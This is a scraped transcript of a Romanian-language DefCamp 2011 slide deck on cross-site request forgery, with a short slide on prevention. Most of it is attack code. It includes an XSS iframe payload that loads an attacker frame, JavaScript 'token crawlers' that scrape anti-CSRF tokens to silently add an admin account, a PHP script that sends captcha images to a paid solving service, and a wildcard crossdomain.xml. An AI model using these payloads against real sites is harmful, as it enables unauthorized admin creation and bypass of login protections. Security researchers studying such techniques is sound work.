Cross Site Request Forgery Attacks

Cross Site Request Forgery Attacks Security token bypass Captcha bypass Presented by Vlad Horatiu [email_address]

Ce este CSRF

Context
Dispunem de:
Acces la un web site pe care victima il poate frecventa
Cross Site Scripting (XSS) in domeniul in care victima avea privilegii superioare

Principiul de baza
Victima acceseaza site-ul in care avem acces
Prin intermediul javascript, victima trimite requesturi catre locatia in care are acces, prin intermediul XSS.

De ce avem nevoie de XSS?
Browserele moderne permit requesturi AJAX, intrucat si accesul la sursa HTML a unei pagini, doar atata timp cat atat request-ul, cat si target-ul sau sunt pe acelasi domeniu.
Aceasta protectie restrictioneaza doar accesul la sursa unei pagini de pe alt domeniu, nu are niciun impact asupra accesarii sale (ex: iframe)
De ce?
Securitate
Implicatii in web advertising
Securitate

Initierea atacului
Iframe din site-ul cu acces catre cel cu xss
<html> <iframe src="http://victimsite.com/index.php?xss=<script>document.write('<iframe src='http://attacker');</script>" width="50" height = "50" style="filter: alpha(opacity=0);-moz-opacity:0;opacity: .0;"> </iframe> </html>

Login check function check() { $.get("login.html", function(data){ if(data.indexOf('blanaa') != -1) { var logged = tryToLogin(); } else { var logged = true; } }); }; function tryToLogin() { $.get("login.html", function(data){ $('#form_frame').contents().find('form').submit(); return (data.indexOf('blanaa') != -1); }); }

Token bypass
URL atac CSRF clasic:
http://victimsite.com/admin/add_admin.php?user=1337hacker&pass=pwned
Link valid in cazul unei protectii token:
http://victimsite.com/admin/add_admin.php?user=1337hacker&pass=pwned&token=693a93e07e1032751a2f14d00e33a56f
Code snippets (PHP):
Generare token:
mysql_query(“INSERT INTO ùser_tokens` (ùser_id`, ùser_token`) VALUES (‘”. Intval($uid) .”’, ‘”. sha1(mt_rand(1000000, 9999999).microtime(true)) .”)’);
Validare token:
$query = mysql_query(“SELECT ùser_token` FROM ùser_tokens` WHERE ìd` = ‘”. Intval($uid) .”’ LIMIT 1”);
$token = getQueryToken($query);
if($_COOKIE[‘token’] != $token)
Die(‘Esti un bulangiu!’);

Token bypass
Javascript token crawler
function addAdmin() { $.get("http://victimsite.com/admin/add_user.php", function(data){ var token = getBetween('&token=', '&', data); alert(token); $.get("http://victimsite.com/admin/add_user_success.php?user=1337hacker&pass=pwned&token"+token, function(data){ }); }); }; function getBetween(lft, rgt, string) { var split = ''; split = string.split('&token='); split = split[1]; split = split.split('&'); split = split[0]; return split; }

Token bypass
Javascript token crawler (POST)
function addAdmin() { $.get("http://victimsite.com/admin/add_user.php", function(data){ var token = getBetween("type="hidden" name="token" value="", """, data); $.post("http://victimsite.com/admin/add_user.php", { user: "1337hacker", pass: "pwned", token: token }, function(data) {}) }); }; function getBetween(lft, rgt, string) { var split = ''; split = string.split('&token='); split = split[1]; split = split.split('&'); split = split[0]; return split; }

Token bypass
Metode de prevenire
Protectie impotriva atacurilor XSS
Cerere de captcha la operatiunile cu grad mare de risc
Cerere de parola la operatiunile cu grad mare de risc
Folosirea Private Browsing
Setarea sesiunilor cu o data de expirare relativ mica
Scrierea token-ului intr-un mod greu de parsat de catre script (exemplu: prin intermediul unui javascript obfuscat)

Token bypass
Dezavantaje
Sensibil la schimbarile structurii HTML

Flash Cross-domain policy
Ne permite sa facem requesturi ajax intre doua domenii diferite
Domeniul destinatie trebuie sa aiba domeniul sursa intr-un “whitelist”: crossdomain.xml
Exemplu de crossdomain.xml:
<cross-domain-policy> <allow-access-from domain="*"/> </cross-domain-policy>

Captcha bypass
Context
Userul are campurile username si password completate, datorita autocomplete
Formularul de logare cere captcha verification
Principiul de baza
Preluarea image path-ului prin javascript
Trimiterea imaginii catre un script de captcha breaking (prin intermediul crossdomain.xml)
Trimiterea informatiilor de logare

Captcha bypass
Captcha breaking script snippet:
$rand = sha1(mt_rand(1000000, 9999999).microtime(true)); if(isset($_GET['path'])) file_put_contents($rand.'.jpg', file_get_contents($_GET['path'])); if ($captcha = $client->upload($rand.'.jpg')) { echo "CAPTCHA {$captcha['captcha']} uploadedn"; sleep(DeathByCaptcha_Client::DEFAULT_TIMEOUT); if ($text = $client->get_text($captcha['captcha'])) { echo $text; } else { $client->remove($captcha['captcha']); echo '0'; } }

Captcha bypass
Dezavantaje
Timpul ridicat de rezolvare a captcha-ului
Pentru ca metoda sa mearga, userul ar trebui sa ramana pe pagina cel putin un minut
Costul ridicat al rezolvarilor captcha
Schimbarile in structura HTML
Necesitatea existentei Flash Player in sistemul victimei

Exemple concrete
Adaugare utilizatori intr-o platforma Wordpress
Adaugare user MySQL

Intrebari

http://defcamp.ro	709
http://r3vyk.info	24
http://defcamp.com	5

Cross Site Request Forgery Attacks

by DefCamp Romania on Oct 05, 2011

Accessibility

Categories

Upload Details

Usage Rights

3 Embeds 738

Statistics

Cross Site Request Forgery Attacks — Presentation Transcript